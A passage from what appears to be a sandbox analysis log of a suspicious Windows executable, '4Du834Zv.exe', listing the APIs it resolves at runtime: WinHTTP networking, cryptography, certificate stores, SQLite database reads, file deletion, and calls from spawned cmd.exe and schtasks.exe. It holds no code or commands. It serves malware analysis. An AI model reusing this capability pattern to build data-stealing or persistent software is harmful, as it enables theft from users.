RasRpcDeleteEntry (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter RasRpcEnumConnections (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter RasRpcGetCountryInfo (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter RasRpcGetErrorString (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter RasRpcSetUserPreferences (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter RasProtocolUpdateConnection (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter RasAddNotificationEx (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter RasRemoveNotificationEx (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter RasGetNotificationEntry (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter RasSignalMonitorThreadExit (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter RasmanUninitialize (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter OpenSCManagerA (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter OpenServiceA (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter RegOpenCurrentUser (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter RegCloseKey (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter NotifyServiceStatusChangeA (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter RegOpenKeyEx (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter RegOpenKeyExW (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter RegNotifyChangeKeyValue (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter WinHttpOpen (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter WinHttpOpenW (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter WinHttpCloseHandle (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter WinHttpCloseHandleW (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter StrRChrA (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter OpenThreadToken (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter SetSystemFileCacheSize (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter NtSetSystemInformation (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter PrivIsDllSynchronizationHeld (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter GetProductInfo (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter InitSecurityInterfaceW (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter InitSecurityInterfaceA (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter SystemFunction035 (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter RpcStringBindingComposeW (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter RpcBindingFromStringBindingW (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter RpcBindingSetAuthInfoExW (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter RpcBindingSetOption (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter RpcStringFreeW (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter WinHttpSetTimeouts (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter WinHttpSetTimeoutsW (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter LocalFree (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter WinHttpGetIEProxyConfigForCurrentUser (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter GetAdaptersAddresses (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter Dhcpv6QueryLeaseInfo (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter ConvertInterfaceNameToLuidW (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter Dhcpv6FreeLeaseInfo (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter DhcpIsEnabled (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter DhcpQueryLeaseInfo (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter DhcpFreeLeaseInfo (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter GetBestInterfaceEx (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter SHGetValueA (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter RtlConvertSidToUnicodeString (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter OpenProcessToken (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter GetTokenInformation (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter CoInitializeEx (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter RegDeleteTreeA (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter RegDeleteTreeW (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter StringFromIID (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter NsiAllocateAndGetTable (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter CM_Open_Class_Key_ExW (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter ConvertInterfaceGuidToLuid (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter GetIfEntry2 (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter GetIpForwardTable2 (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter GetIpNetEntry2 (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter FreeMibTable (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter NsiFreeTable (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter SetEvent (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter GetTimeZoneInformation (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter GetDynamicTimeZoneInformation (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter GetFileMUIPath (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter LoadLibraryEx (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter LoadLibraryExW (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter FreeLibrary (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter FreeLibraryW (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter LoadStringW (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter GetNetworkParams (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter DnsQueryConfig (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter GetIpInterfaceEntry (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter LocalAlloc (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter GetAddrInfoW (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter freeaddrinfo (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter NSPStartup (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter DnsQueryConfigAllocEx (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter DnsNameCompare_W (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter DnsApiAlloc (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter DnsQueryExW (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter GetCurrentThreadCompartmentId (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter NdrClientCall2 (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter RpcBindingFree (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter WSAttemptAutodialAddr (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter WSAttemptAutodialName (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter WSNoteSuccessfulHostentLookup (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter DnsApiFree (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter DnsFree (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter NamespaceCallout (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter EnumerateSecurityPackagesW (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter FreeContextBuffer (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter FreeCredentialsHandle (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter AcquireCredentialsHandleW (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter SpUserModeInitialize (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter RegCreateKeyExW (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter RegQueryValueExW (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter DeleteSecurityContext (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter InitializeSecurityContextW (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter SslOpenProvider (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter GetSChannelInterface (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter GetHashInterface (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter SslIncrementProviderReferenceCount (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter SslImportKey (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter GetCipherInterface (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter QueryContextAttributesW (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter SslLookupCipherSuiteInfo (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter SslLookupCipherLengths (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter CertFreeCertificateContext (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter CertDuplicateCertificateContext (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter CertGetCertificateContextProperty (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter CertDuplicateCertificateContextW (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter CertCloseStore (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter CertDuplicateStore (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter CertDuplicateStoreW (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter CertEnumCertificatesInStore (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter CertEnumCertificatesInStoreW (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter CertFreeCertificateChain (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter CertOpenStore (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter CertOpenStoreW (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter CertAddCertificateLinkToStore (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter CertAddCertificateLinkToStoreW (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter LocalAllocW (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter CertGetCertificateChain (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter CertGetCertificateChainW (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter GetUserProfileDirectoryW (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter ConvertSidToStringSidW (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter ConvertStringSidToSidW (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter RegisterGPNotification (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter RegisterGPNotificationInternal (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter QueryServiceConfigW (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter CryptAcquireContextA (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter CPAcquireContext (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter CPReleaseContext (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter CPGenKey (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter CPDeriveKey (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter CPDestroyKey (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter CPSetKeyParam (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter CPGetKeyParam (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter CPExportKey (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter CPImportKey (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter CPEncrypt (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter CPDecrypt (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter CPCreateHash (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter CPHashData (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter CPHashSessionKey (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter CPDestroyHash (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter CPSignHash (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter CPVerifySignature (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter CPGenRandom (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter CPGetUserKey (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter CPSetProvParam (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter CPGetProvParam (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter CPSetHashParam (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter CPGetHashParam (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter CPDuplicateKey (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter CPDuplicateHash (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter BCryptOpenAlgorithmProvider (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter BCryptGetProperty (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter BCryptCreateHash (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter BCryptHashData (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter BCryptFinishHash (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter BCryptDestroyHash (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter CryptImportKey (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter CryptGetKeyParam (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter CryptDestroyKey (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter GetAsymmetricEncryptionInterface (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter BCryptImportKeyPair (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter BCryptVerifySignature (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter BCryptDestroyKey (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter CryptCreateHash (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter CryptHashData (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter CryptVerifySignatureA (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter CryptDestroyHash (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter I_CryptNetGetConnectivity (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter IsNetworkAlive (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter CryptRetrieveObjectByUrlW (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter UrlGetPartW (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter WinHttpSetOption (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter WinHttpCrackUrl (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter StrCmpNW (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter WinHttpConnect (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter WSAStringToAddressW (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter WinHttpOpenRequest (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter UrlCanonicalizeW (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter WinHttpGetDefaultProxyConfiguration (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter WinHttpTimeFromSystemTime (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter WinHttpSendRequest (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter DnsGetProxyInformation (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter FreeAddrInfoW (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter WSASend (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter WinHttpReceiveResponse (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter WinHttpQueryHeaders (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter StrStrIW (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter WinHttpQueryDataAvailable (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter WinHttpReadData (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter SetupIterateCabinetW (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter DevRtlGetThreadLogToken (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter QueryServiceConfigA (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter RpcStringBindingComposeA (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter RpcBindingFromStringBindingA (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter RpcEpResolveBinding (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter LookupAccountSidLocalW (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter RpcStringFreeA (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter CertDuplicateCertificateChain (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter CertDuplicateCertificateChainW (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter CertVerifyCertificateChainPolicy (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter CertVerifyCertificateChainPolicyW (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter SetLastError (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter EncryptMessage (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter SslEncryptPacket (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter GetRngInterface (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter DecryptMessage (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter SslDecryptPacket (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter CryptGetHashParam (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter CryptReleaseContext (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter CryptExportKey (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter CoCreateGuid (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter _CorDllMain_RetAddr (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter _CorDllMain (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter GetTokenForVTableEntry (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter SetTargetForVTableEntry (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter GetTargetForVTableEntry (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter GetTokenForVTableEntry_RetAddr (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter SetTargetForVTableEntry_RetAddr (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter GetTargetForVTableEntry_RetAddr (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter GetLastError (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter DllBidFinalize (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter DllBidFinalizeA (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter _DllBidFinalize@0 (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter DllBidEntryPoint (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter DllBidEntryPointA (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter _DllBidEntryPoint@36 (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter DllBidInitialize (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter DllBidInitializeA (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter _DllBidInitialize@0 (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter GetCurrentProcessId (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter GetCurrentProcessIdW (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter DllBidCtlProc (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter DllBidCtlProcW (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter _DllBidCtlProc@24 (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter sqlite3_open_v2 (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter sqlite3_db_readonly (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter sqlite3_busy_timeout (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter sqlite3_total_changes (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter sqlite3_prepare_v2 (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter sqlite3_step (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter sqlite3_reset (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter sqlite3_finalize (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter sqlite3_close_v2 (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter DeleteFile (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter DeleteFileW (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter sqlite3_column_count (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter sqlite3_column_type (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter sqlite3_column_decltype (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter sqlite3_column_text (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter sqlite3_column_bytes (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter sqlite3_column_int64 (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter FindFirstFile (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter FindFirstFileW (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter FindClose (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter FindNextFile (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter FindNextFileW (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter RemoveDirectory (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter RemoveDirectoryW (UID: 00000000-00003776) "cmd.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00002072) "cmd.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00002072) "schtasks.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00002976) "schtasks.exe" called "GetProcAddress" with a parameter ThemeInitApiHook (UID: 00000000-00002976) "schtasks.exe" called "GetProcAddress" with a parameter IsProcessDPIAware (UID: 00000000-00002976) "schtasks.exe" called "GetProcAddress" with a parameter LookupAccountSidLocalW (UID: 00000000-00002976) "schtasks.exe" called "GetProcAddress" with a parameter GetUserNameExW (UID: 00000000-00002976) "schtasks.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00002976) "cmd.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00003136) "cmd.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00003136) "cmd.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00003136) "cmd.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00003136) "cmd.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00003136) "cmd.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00003136) "cmd.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00003136) "cmd.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00003136) "cmd.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00003136) "cmd.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00003136) "cmd.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00003136) "cmd.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00003136) "cmd.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00003136) "cmd.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00003136) "cmd.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00003136) "cmd.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00003136) "cmd.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00003136) "cmd.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00003136) "cmd.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00003136) "cmd.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00003136) "cmd.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00003136) "cmd.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00003136) "cmd.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00003136) "cmd.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00003136) "cmd.exe" called "GetProcAddress" with a parameter 